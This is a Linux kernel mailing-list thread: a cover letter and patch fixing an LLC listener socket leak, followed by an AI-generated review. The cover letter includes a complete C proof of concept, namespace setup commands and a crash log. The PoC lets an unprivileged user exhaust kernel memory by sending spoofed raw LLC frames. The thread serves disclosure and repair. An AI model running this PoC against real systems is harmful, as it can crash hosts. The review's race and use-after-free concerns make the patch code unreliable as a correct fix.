[PATCH net v3 0/1] llc: fix listener child socket leaks before passive open completes

[PATCH net v3 0/1] llc: fix listener child socket leaks before passive open completes

[Zihan Xi]

Hi Linux kernel maintainers,

We found and validated a issue in net/llc/llc_conn.c. The bug is reachable by a
non-root user via user and net namespace.
We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

llc_conn_handler() publishes a passive-open child to the LLC SAP tables before
the listener-side handshake finishes and before the child becomes visible to
accept() via LLC_CONN_PRIM. That published child already pins its netdev
reference, so any listener-side path which exits before LLC_CONN_PRIM leaves a
socket behind that accept() can never return.

The leak is not limited to the original non-SABME reproducer path. The same
root cause also covers valid SABME traffic when the passive-open child is
created first but packet processing later fails before LLC_CONN_PRIM, including
direct processing failure, sk_add_backlog() failure, and backlog-side drops.

The fix keeps the existing immediate child publication semantics so established
socket lookup still wins over the listener during passive open. Instead of
changing the passive-open matching model, it tracks whether a listener-created
child is still pending publication to accept(), clears that pending state only
when LLC_CONN_PRIM is emitted, and rolls the child back out of the SAP tables on
every earlier failure or drop path.

The root-cause fact fixed here predates d389424e00f9. Its parent already
creates a listener-side child, publishes it to the SAP tables before
LLC_CONN_PRIM, and has no rollback path if processing exits early. In the local
visible history, the earliest commit where that root-cause fact is already
present is 1da177e4c3f4 ("Linux-2.6.12-rc2"), so Fixes points there.

The reproducer writes panic_on_oom only to turn the final memory exhaustion into
stable crash evidence after the leak is already confirmed. It is not a
prerequisite for the underlying bug or for the non-root trigger path itself.

packetdrill was not used here because the trigger depends on combining a PF_LLC
listening socket with raw AF_PACKET injection over a veth pair while rotating
the source MAC address to force distinct passive-open children. The PoC is
centered on that listener-plus-raw-packet resource leak path rather than on a
packetdrill-friendly timing script.

Reproducer:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

For the validated run we used the full namespace setup below so the PoC could
create llc_rx0/llc_tx0 and then send the crafted LLC traffic:

    unshare -Urn sh -c '
        ip link add llc_rx0 type veth peer name llc_tx0
        ip link set llc_rx0 address 02:11:22:33:44:55
        ip link set llc_tx0 address 02:11:22:33:44:66
        ip link set llc_rx0 up
        ip link set llc_tx0 up
        ./poc llc_rx0 llc_tx0 110000
    '

For deterministic crash evidence only, after confirming the leak with that
unprivileged trigger path, we additionally set:

    echo 2 > /proc/sys/vm/panic_on_oom

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_arp.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/if.h>
#include <linux/llc.h>
#include <net/ethernet.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef AF_LLC
#define AF_LLC 26
#endif

#define DEFAULT_RX_IF "llc_rx0"
#define DEFAULT_TX_IF "llc_tx0"
#define DEFAULT_SAP 0xc0
#define DEFAULT_REPORT_EVERY 10000ULL

static void die_errno(const char *what)
{
	perror(what);
	exit(EXIT_FAILURE);
}

static void usage(const char *prog)
{
	fprintf(stderr,
		"usage: %s [rx_if] [tx_if] [count]\n"
		"  rx_if: LLC listener interface (default: %s)\n"
		"  tx_if: raw packet sender interface (default: %s)\n"
		"  count: number of DISC frames to send, 0 means forever\n",
		prog, DEFAULT_RX_IF, DEFAULT_TX_IF);
}

static void get_if_hwaddr(const char *ifname, unsigned char mac[ETH_ALEN])
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFHWADDR, &ifr) < 0)
		die_errno("ioctl(SIOCGIFHWADDR)");

	memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN);
	close(fd);
}

static int get_ifindex(const char *ifname)
{
	struct ifreq ifr;
	int fd;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die_errno("socket(AF_INET)");

	memset(&ifr, 0, sizeof(ifr));
	snprintf(ifr.ifr_name, sizeof(ifr.ifr_name), "%s", ifname);
	if (ioctl(fd, SIOCGIFINDEX, &ifr) < 0)
		die_errno("ioctl(SIOCGIFINDEX)");

	close(fd);
	return ifr.ifr_ifindex;
}

static int make_listener(const char *ifname, uint8_t sap, unsigned char mac[ETH_ALEN])
{
	struct sockaddr_llc addr;
	int fd;

	fd = socket(AF_LLC, SOCK_STREAM, 0);
	if (fd < 0)
		die_errno("socket(AF_LLC)");

	get_if_hwaddr(ifname, mac);

	memset(&addr, 0, sizeof(addr));
	addr.sllc_family = AF_LLC;
	addr.sllc_arphrd = ARPHRD_ETHER;
	addr.sllc_sap = sap;
	memcpy(addr.sllc_mac, mac, ETH_ALEN);

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die_errno("bind(AF_LLC)");
	if (listen(fd, 16) < 0)
		die_errno("listen(AF_LLC)");

	return fd;
}

static int make_packet_socket(const char *ifname, int *ifindex_out)
{
	struct sockaddr_ll sll;
	int fd;
	int one = 1;
	int ifindex = get_ifindex(ifname);

	fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if (fd < 0)
		die_errno("socket(AF_PACKET)");

	setsockopt(fd, SOL_PACKET, PACKET_QDISC_BYPASS, &one, sizeof(one));

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_protocol = htons(ETH_P_ALL);
	sll.sll_ifindex = ifindex;

	if (bind(fd, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die_errno("bind(AF_PACKET)");

	*ifindex_out = ifindex;
	return fd;
}

static void fill_src_mac(unsigned char mac[ETH_ALEN], uint64_t n)
{
	mac[0] = 0x02;
	mac[1] = (n >> 32) & 0xff;
	mac[2] = (n >> 24) & 0xff;
	mac[3] = (n >> 16) & 0xff;
	mac[4] = (n >> 8) & 0xff;
	mac[5] = n & 0xff;
}

int main(int argc, char **argv)
{
	static unsigned char frame[ETH_ZLEN];
	unsigned char dst_mac[ETH_ALEN];
	unsigned char src_mac[ETH_ALEN];
	struct sockaddr_ll sll;
	const char *rx_if = DEFAULT_RX_IF;
	const char *tx_if = DEFAULT_TX_IF;
	uint64_t count = 0;
	uint64_t i = 1;
	int listener_fd;
	int packet_fd;
	int ifindex;

	if (argc > 1 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
		usage(argv[0]);
		return 0;
	}
	if (argc > 1)
		rx_if = argv[1];
	if (argc > 2)
		tx_if = argv[2];
	if (argc > 3) {
		char *end = NULL;

		errno = 0;
		count = strtoull(argv[3], &end, 0);
		if (errno || !end || *end != '\0') {
			fprintf(stderr, "invalid count: %s\n", argv[3]);
			return EXIT_FAILURE;
		}
	}
	if (argc > 4) {
		usage(argv[0]);
		return EXIT_FAILURE;
	}

	listener_fd = make_listener(rx_if, DEFAULT_SAP, dst_mac);
	packet_fd = make_packet_socket(tx_if, &ifindex);

	memset(frame, 0, sizeof(frame));
	memcpy(frame, dst_mac, ETH_ALEN);
	((struct ethhdr *)frame)->h_proto = htons(3);
	frame[ETH_HLEN + 0] = DEFAULT_SAP;
	frame[ETH_HLEN + 1] = 0x04;
	frame[ETH_HLEN + 2] = 0x43; /* DISC command, P/F=0 */

	memset(&sll, 0, sizeof(sll));
	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifindex;
	sll.sll_halen = ETH_ALEN;
	memcpy(sll.sll_addr, dst_mac, ETH_ALEN);

	fprintf(stderr,
		"listener_if=%s sender_if=%s sap=0x%02x count=%s\n",
		rx_if, tx_if, DEFAULT_SAP, count ? argv[3] : "0");
	fprintf(stderr,
		"listener_mac=%02x:%02x:%02x:%02x:%02x:%02x\n",
		dst_mac[0], dst_mac[1], dst_mac[2],
		dst_mac[3], dst_mac[4], dst_mac[5]);
	fprintf(stderr,
		"sending LLC DISC commands with a unique spoofed source MAC each time\n");

	while (!count || i <= count) {
		fill_src_mac(src_mac, i);
		if (!memcmp(src_mac, dst_mac, ETH_ALEN))
			src_mac[ETH_ALEN - 1] ^= 1;
		memcpy(frame + ETH_ALEN, src_mac, ETH_ALEN);

		if (sendto(packet_fd, frame, sizeof(frame), 0,
			   (struct sockaddr *)&sll, sizeof(sll)) < 0)
			die_errno("sendto(AF_PACKET)");

		if (!(i % DEFAULT_REPORT_EVERY))
			fprintf(stderr, "sent=%llu\n",
				(unsigned long long)i);
		i++;
	}

	close(packet_fd);
	close(listener_fd);
	return 0;
}
------END poc.c--------

----BEGIN crash log----
[ 1665.704541][T10284] Kernel panic - not syncing: Out of memory: compulsory panic_on_oom is enabled

[ 1665.705358][T10284] CPU: 0 UID: 0 PID: 10284 Comm: poc Not tainted 6.12.74 #3

[ 1665.705911][T10284] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014

[ 1665.706676][T10284] Call Trace:

[ 1665.706943][T10284]  <TASK>

[1665.707181][T10284] dump_stack_lvl (lib/dump_stack.c:105 (discriminator 2))

[1665.707568][T10284] panic (kernel/panic.c:339 (discriminator 1))

[1665.707918][T10284] ? dump_header (include/linux/rcupdate.h:815 (discriminator 1) mm/oom_kill.c:455 (discriminator 1) mm/oom_kill.c:478 (discriminator 1))

[1665.708305][T10284] ? __pfx_panic (kernel/panic.c:277)
-----END crash log-----

changes in v3:
  - Drop the unused llc_conn_handler() local rc variable reported in
    review.
  - Rebase the numbered patch and cover onto commit
    ede76849012e45ffb2193ad110b42027eec02c5c.
  - v2 Link: https://lore.kernel.org/all/cover.1785386749.git.zihanx@nebusec.ai/
changes in v2:
  - Rework the fix to preserve the existing passive-open tuple matching
    semantics instead of deferring child publication until LLC_CONN_PRIM.
  - Track listener-created children which are still pending publication
    to accept(), and roll them back on every earlier failure or drop
    path.
  - Cover both the original non-SABME leak and SABME paths which fail
    before LLC_CONN_PRIM, including backlog enqueue and backlog drop
    failures.
  - Correct Fixes to 1da177e4c3f4 ("Linux-2.6.12-rc2") based on the
    earliest locally visible history carrying the same root-cause fact.
  - Clarify in Bug details that panic_on_oom is only crash-evidence
    setup and explain why packetdrill was not used for this reproducer.
  - v1 Link: https://lore.kernel.org/all/cover.1784725007.git.zihanx@nebusec.ai/

Best regards,
Zihan Xi

Zihan Xi (1):
  llc: fix listener child socket leaks before passive open completes

 include/net/llc_conn.h | 11 +++++++++++
 net/llc/llc_conn.c     | 41 ++++++++++++++++++++++++++++++++++++-----
 2 files changed, 47 insertions(+), 5 deletions(-)

-- 
2.43.0

[PATCH net v3 1/1] llc: fix listener child socket leaks before passive open completes

[Zihan Xi]

llc_conn_handler() creates and publishes a passive-open child before the
listener-side LLC state machine finishes the handshake and emits
LLC_CONN_PRIM to accept(). That child is inserted into the SAP tables
and takes a device reference immediately, so any listener path which
stops before LLC_CONN_PRIM leaves behind a published but unreachable
socket.

This is not limited to non-SABME traffic. Non-SABME frames can still
leave the child unpublished to accept(), and valid SABME traffic can do
the same when direct processing fails, backlog enqueue fails, or backlog
processing later drops the skb before LLC_CONN_PRIM is reached.

Keep the existing immediate publication semantics so established-socket
lookup continues to win over the listener during passive open. Instead,
track whether an incoming child is still pending publication to
accept(), clear that state only when LLC_CONN_PRIM is emitted, and roll
such children back out of the SAP tables on every failure and drop path
which exits earlier.

Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: Codex:gpt-5.4
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
 include/net/llc_conn.h | 11 +++++++++++
 net/llc/llc_conn.c     | 41 ++++++++++++++++++++++++++++++++++++-----
 2 files changed, 47 insertions(+), 5 deletions(-)

diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
index e1a302696723..ba40194899fd 100644
--- a/include/net/llc_conn.h
+++ b/include/net/llc_conn.h
@@ -72,6 +72,7 @@ struct llc_sock {
 					      received and caused sending FRMR.
 					      Used for resending FRMR */
 	u32		    cmsg_flags;
+	u8		    incoming_pend;
 	struct hlist_node   dev_hash_node;
 };
 
@@ -90,6 +91,16 @@ static __inline__ char llc_backlog_type(struct sk_buff *skb)
 	return skb->cb[sizeof(skb->cb) - 1];
 }
 
+static __inline__ void llc_set_incoming_flag(struct sk_buff *skb, bool incoming)
+{
+	skb->cb[sizeof(skb->cb) - 2] = incoming;
+}
+
+static __inline__ bool llc_incoming_flag(const struct sk_buff *skb)
+{
+	return skb->cb[sizeof(skb->cb) - 2];
+}
+
 struct sock *llc_sk_alloc(struct net *net, int family, gfp_t priority,
 			  struct proto *prot, int kern);
 void llc_sk_stop_all_timers(struct sock *sk, bool sync);
diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
index 260460d50f54..d2913b2164cd 100644
--- a/net/llc/llc_conn.c
+++ b/net/llc/llc_conn.c
@@ -32,6 +32,7 @@ static int llc_exec_conn_trans_actions(struct sock *sk,
 				       struct sk_buff *ev);
 static const struct llc_conn_state_trans *llc_qualify_conn_ev(struct sock *sk,
 							      struct sk_buff *skb);
+static void llc_release_incoming_sock(struct sock *sk);
 
 /* Offset table on connection states transition diagram */
 static int llc_offset_table[NBR_CONN_STATES][NBR_CONN_EV];
@@ -88,6 +89,7 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
 		 * skb->sk pointing to the newly created struct sock in
 		 * llc_conn_handler. -acme
 		 */
+		llc_sk(skb->sk)->incoming_pend = 0;
 		skb_get(skb);
 		skb_queue_tail(&sk->sk_receive_queue, skb);
 		sk->sk_state_change(sk);
@@ -765,16 +767,32 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
 	memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
 	memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
 	newllc->dev = dev;
+	newllc->incoming_pend = 1;
 	dev_hold(dev);
 	llc_sap_add_socket(llc->sap, newsk);
 out:
 	return newsk;
 }
 
+static void llc_release_incoming_sock(struct sock *sk)
+{
+	struct llc_sock *llc = llc_sk(sk);
+
+	if (!llc->incoming_pend)
+		return;
+
+	llc->incoming_pend = 0;
+	llc_sap_remove_socket(llc->sap, sk);
+	dev_put(llc->dev);
+	sock_orphan(sk);
+	llc_sk_free(sk);
+}
+
 void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 {
 	struct llc_addr saddr, daddr;
 	struct sock *sk;
+	struct sock *newsk = NULL;
 
 	llc_pdu_decode_sa(skb, saddr.mac);
 	llc_pdu_decode_ssap(skb, &saddr.lsap);
@@ -795,11 +813,11 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 	 * in the newly created struct sock private area. -acme
 	 */
 	if (unlikely(sk->sk_state == TCP_LISTEN)) {
-		struct sock *newsk = llc_create_incoming_sock(sk, skb->dev,
-							      &saddr, &daddr);
+		newsk = llc_create_incoming_sock(sk, skb->dev, &saddr, &daddr);
 		if (!newsk)
 			goto drop_unlock;
 		skb_set_owner_r(skb, newsk);
+		llc_set_incoming_flag(skb, true);
 	} else {
 		/*
 		 * Can't be skb_set_owner_r, this will be done at the
@@ -812,14 +830,22 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
 		sock_hold(sk);
 		skb->sk = sk;
 		skb->destructor = sock_efree;
+		llc_set_incoming_flag(skb, false);
 	}
-	if (!sock_owned_by_user(sk))
+	if (!sock_owned_by_user(sk)) {
 		llc_conn_rcv(sk, skb);
-	else {
+		if (newsk && llc_sk(newsk)->incoming_pend)
+			llc_release_incoming_sock(newsk);
+	} else {
 		dprintk("%s: adding to backlog...\n", __func__);
 		llc_set_backlog_type(skb, LLC_PACKET);
-		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
+		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
+			if (newsk) {
+				skb_orphan(skb);
+				llc_release_incoming_sock(newsk);
+			}
 			goto drop_unlock;
+		}
 	}
 out:
 	bh_unlock_sock(sk);
@@ -852,6 +878,7 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 {
 	int rc = 0;
 	struct llc_sock *llc = llc_sk(sk);
+	struct sock *newsk = llc_incoming_flag(skb) ? skb->sk : NULL;
 
 	if (likely(llc_backlog_type(skb) == LLC_PACKET)) {
 		if (likely(llc->state > 1)) /* not closed */
@@ -868,10 +895,14 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
 		printk(KERN_ERR "%s: invalid skb in backlog\n", __func__);
 		goto out_kfree_skb;
 	}
+	if (newsk && llc_sk(newsk)->incoming_pend)
+		llc_release_incoming_sock(newsk);
 out:
 	return rc;
 out_kfree_skb:
 	kfree_skb(skb);
+	if (newsk && llc_sk(newsk)->incoming_pend)
+		llc_release_incoming_sock(newsk);
 	goto out;
 }
 
-- 
2.43.0

Re: [PATCH net v3 1/1] llc: fix listener child socket leaks before passive open completes

[Jakub Kicinski]

This is an AI-generated review of your patch. The human sending this
email has considered the AI review valid, or at least plausible.
---
llc: fix listener child socket leaks before passive open completes

This adds a new llc_sock::incoming_pend flag plus an skb->cb bit so that a
passive-open child created by llc_conn_handler() can be rolled back out of
the SAP tables when the listener path exits before LLC_CONN_PRIM is emitted.
Rollback is done by a new helper, llc_release_incoming_sock(), called from
llc_conn_handler() and llc_backlog_rcv().

A few questions on the locking and on the paths the flag covers.

> diff --git a/include/net/llc_conn.h b/include/net/llc_conn.h
> index e1a3026967234..ba40194899fda 100644
> --- a/include/net/llc_conn.h
> +++ b/include/net/llc_conn.h
> @@ -72,6 +72,7 @@ struct llc_sock {
>  					      received and caused sending FRMR.
>  					      Used for resending FRMR */
>  	u32		    cmsg_flags;
> +	u8		    incoming_pend;
>  	struct hlist_node   dev_hash_node;
>  };

[Severity: Medium]
Which lock is meant to protect incoming_pend?

llc_create_incoming_sock() and llc_release_incoming_sock() write it under
bh_lock_sock() of the listener, but llc_conn_state_process() writes it on
whatever socket the skb belongs to:

	llc_sk(skb->sk)->incoming_pend = 0;

For a frame matched by __llc_lookup_established() that socket is the child,
and the caller holds the child's lock, not the listener's.

The readers in llc_conn_handler() and llc_backlog_rcv() hold (or own) only
the listener lock, so the set of locks common to all accesses is empty.
Is a plain u8 without READ_ONCE()/WRITE_ONCE() intended here, and is the

	if (newsk && llc_sk(newsk)->incoming_pend)
		llc_release_incoming_sock(newsk);

check-then-destroy sequence expected to be atomic with respect to the
clearing site?

[ ... ]

> diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c
> index 260460d50f54c..d2913b2164cd8 100644
> --- a/net/llc/llc_conn.c
> +++ b/net/llc/llc_conn.c

[ ... ]

> @@ -88,6 +89,7 @@ int llc_conn_state_process(struct sock *sk, struct sk_buff *skb)
>  		 * skb->sk pointing to the newly created struct sock in
>  		 * llc_conn_handler. -acme
>  		 */
> +		llc_sk(skb->sk)->incoming_pend = 0;
>  		skb_get(skb);
>  		skb_queue_tail(&sk->sk_receive_queue, skb);
>  		sk->sk_state_change(sk);

[Severity: High]
Can this clear the flag on a child that no accept() will ever see, and so
defeat every rollback path the patch adds?

The child is hash-published by llc_create_incoming_sock() before the
handshake finishes, and __llc_lookup() prefers the established socket:

net/llc/llc_conn.c:__llc_lookup() {
	struct sock *sk = __llc_lookup_established(sap, daddr, laddr, net);

	return sk ? : llc_lookup_listener(sap, laddr, net);
}

So a second frame for the same address pair is delivered with sk == the
child. The child's sk_state is TCP_CLOSE, so llc_conn_handler() takes the
else branch, newsk stays NULL, and no rollback check runs for that call.
The child is in LLC_CONN_STATE_ADM, so a SABME hits llc_adm_state_trans_2,
whose action list contains llc_conn_ac_conn_ind, giving ind_prim ==
LLC_CONN_PRIM with sk == skb->sk == child:

	llc_sk(skb->sk)->incoming_pend = 0;
	skb_get(skb);
	skb_queue_tail(&sk->sk_receive_queue, skb);

The indication is queued on the child's own receive queue, not on a
listener's, yet incoming_pend is now 0.

When the listener's backlog is drained afterwards, a listener's llc->state
is LLC_CONN_STATE_ADM == 1 (llc_ui_listen() never changes llc->state), so
llc_backlog_rcv() takes out_kfree_skb, and the new rollback there is skipped
because incoming_pend is already 0. The child then stays in
sap->sk_laddr_hash / sk_dev_hash with the dev_hold() taken by
llc_create_incoming_sock(), keeps answering the peer, and is unreachable
from accept().

Would restricting the clear to the case where the indication really goes to
a different (listening) socket, e.g. only when sk != skb->sk, close this?

[Severity: High]
This isn't a bug introduced by this patch, but the flag is cleared the
instant LLC_CONN_PRIM is emitted, which is before accept() has taken
ownership of the child, and from that point llc_release_incoming_sock()
returns immediately:

	if (!llc->incoming_pend)
		return;

If userspace never calls accept() and just closes the listener,
llc_ui_release() unhashes and frees only the listener. The child is reached
only through the queued skb, and llc_sk_free() does:

	skb_queue_purge(&sk->sk_receive_queue);

which runs each skb's sock_rfree destructor (installed by skb_set_owner_r()
in llc_conn_handler()). That un-charges rmem, but never does sock_put() on
skb->sk, never calls llc_sap_remove_socket(), and never drops the dev_hold()
from llc_create_incoming_sock(). There is no netdevice notifier or other
sweeper in net/llc/, so the child stays hashed with a permanent netdev
reference.

Given the subject "llc: fix listener child socket leaks before passive open
completes" and Cc: stable, could the commit message state that the
listen/SABME/close-without-accept case is still left as is?

[ ... ]

> @@ -765,16 +767,32 @@ static struct sock *llc_create_incoming_sock(struct sock *sk,
>  	memcpy(&newllc->laddr, daddr, sizeof(newllc->laddr));
>  	memcpy(&newllc->daddr, saddr, sizeof(newllc->daddr));
>  	newllc->dev = dev;
> +	newllc->incoming_pend = 1;
>  	dev_hold(dev);
>  	llc_sap_add_socket(llc->sap, newsk);
>  out:
>  	return newsk;
>  }
>  
> +static void llc_release_incoming_sock(struct sock *sk)
> +{
> +	struct llc_sock *llc = llc_sk(sk);
> +
> +	if (!llc->incoming_pend)
> +		return;
> +
> +	llc->incoming_pend = 0;
> +	llc_sap_remove_socket(llc->sap, sk);
> +	dev_put(llc->dev);
> +	sock_orphan(sk);
> +	llc_sk_free(sk);
> +}

[Severity: High]
Is any lock held on the socket being destroyed here?

The callers hold bh_lock_sock() of the listener, but the child was already
made globally visible by llc_sap_add_socket():

net/llc/llc_conn.c:llc_sap_add_socket() {
	sock_set_flag(sk, SOCK_RCU_FREE);
	sap->sk_count++;
	sk_nulls_add_node_rcu(sk, laddr_hb);
	hlist_add_head(&llc->dev_hash_node, dev_hb);
}

so another CPU can find it in __llc_lookup_established():

		if (unlikely(!refcount_inc_not_zero(&rc->sk_refcnt)))
			goto again;

and then run llc_conn_rcv(child, skb) under bh_lock_sock(child), which is a
lock this path does not take:

CPU0 (softirq, frame A, listener branch)
llc_conn_handler()
  bh_lock_sock(listener)
  llc_create_incoming_sock()      /* child published */
  llc_conn_rcv(listener, skbA)    /* no LLC_CONN_PRIM */
  llc_release_incoming_sock(child)
    llc_sap_remove_socket()
    dev_put(llc->dev)
    sock_orphan(child)
    llc_sk_free(child)            /* stops timers, purges queues, sock_put */

CPU1 (softirq, frame B, same address pair)
llc_conn_handler()
  __llc_lookup_established() -> child
  bh_lock_sock(child)
  llc_conn_rcv(child, skbB)       /* mod_timer(), tx using llc->dev, ... */

Can CPU1's state-machine actions re-arm the child's timers with mod_timer()
after CPU0's llc_sk_stop_all_timers(child, true) has already returned? The
timers hold no socket reference, so once CPU1 drops its lookup reference the
sock is freed with a timer still armed.

Similarly, dev_put(llc->dev) does not clear llc->dev, so CPU1's transmit
actions keep using it after the reference was dropped, and sock_orphan()
clears sk_socket while llc_conn_state_process() dereferences
sk->sk_socket->state.

Compare llc_ui_release(), which holds lock_sock() of the socket it destroys
across llc_sap_remove_socket()/netdev_put()/llc_sk_free().

[Severity: High]
Is llc_sk_free() safe to call from here?

llc_sk_free() hardcodes the synchronous variant:

net/llc/llc_conn.c:llc_sk_free() {
	llc->state = LLC_CONN_OUT_OF_SVC;
	llc_sk_stop_all_timers(sk, true);

which expands to four timer_delete_sync() calls. Both new call sites run in
NET_RX softirq with the listener's bh_lock_sock(sk) (sk->sk_lock.slock)
held, and the LLC timers are set up with flags == 0 in llc_sk_init(), so
they are not TIMER_IRQSAFE. timer_delete_sync()'s comment says the caller
must not hold locks that are held in interrupt context, even unrelated ones.

sk_lock.slock is exactly such a lock, taken from softirq by the timer
callbacks themselves:

net/llc/llc_c_ac.c:llc_conn_tmr_common_cb() {
	bh_lock_sock(sk);

__timer_delete_sync() does lock_map_acquire(&timer->lockdep_map)
unconditionally, before checking whether the timer is pending, so on
CONFIG_PROVE_LOCKING this records slock-AF_LLC -> timer lockdep_map, while
call_timer_fn() plus llc_conn_tmr_common_cb() records the reverse edge.

The existing BH-context helper uses the async variant:

net/llc/llc_c_ac.c:llc_conn_ac_stop_all_timers() {
	llc_sk_stop_all_timers(sk, false);

Before this patch llc_sk_free() had a single caller, llc_ui_release(), in
process context. Should the rollback path use the sync == false form, or
defer the free?

[ ... ]

> @@ -812,14 +830,22 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb)
>  		sock_hold(sk);
>  		skb->sk = sk;
>  		skb->destructor = sock_efree;
> +		llc_set_incoming_flag(skb, false);
>  	}
> -	if (!sock_owned_by_user(sk))
> +	if (!sock_owned_by_user(sk)) {
>  		llc_conn_rcv(sk, skb);
> -	else {
> +		if (newsk && llc_sk(newsk)->incoming_pend)
> +			llc_release_incoming_sock(newsk);
> +	} else {
>  		dprintk("%s: adding to backlog...\n", __func__);
>  		llc_set_backlog_type(skb, LLC_PACKET);
> -		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf)))
> +		if (sk_add_backlog(sk, skb, READ_ONCE(sk->sk_rcvbuf))) {
> +			if (newsk) {
> +				skb_orphan(skb);
> +				llc_release_incoming_sock(newsk);
> +			}
>  			goto drop_unlock;
> +		}
>  	}
>  out:
>  	bh_unlock_sock(sk);

[ ... ]

> @@ -868,10 +895,14 @@ static int llc_backlog_rcv(struct sock *sk, struct sk_buff *skb)
>  		printk(KERN_ERR "%s: invalid skb in backlog\n", __func__);
>  		goto out_kfree_skb;
>  	}
> +	if (newsk && llc_sk(newsk)->incoming_pend)
> +		llc_release_incoming_sock(newsk);
>  out:
>  	return rc;
>  out_kfree_skb:
>  	kfree_skb(skb);
> +	if (newsk && llc_sk(newsk)->incoming_pend)
> +		llc_release_incoming_sock(newsk);
>  	goto out;
>  }
-- 
pw-bot: cr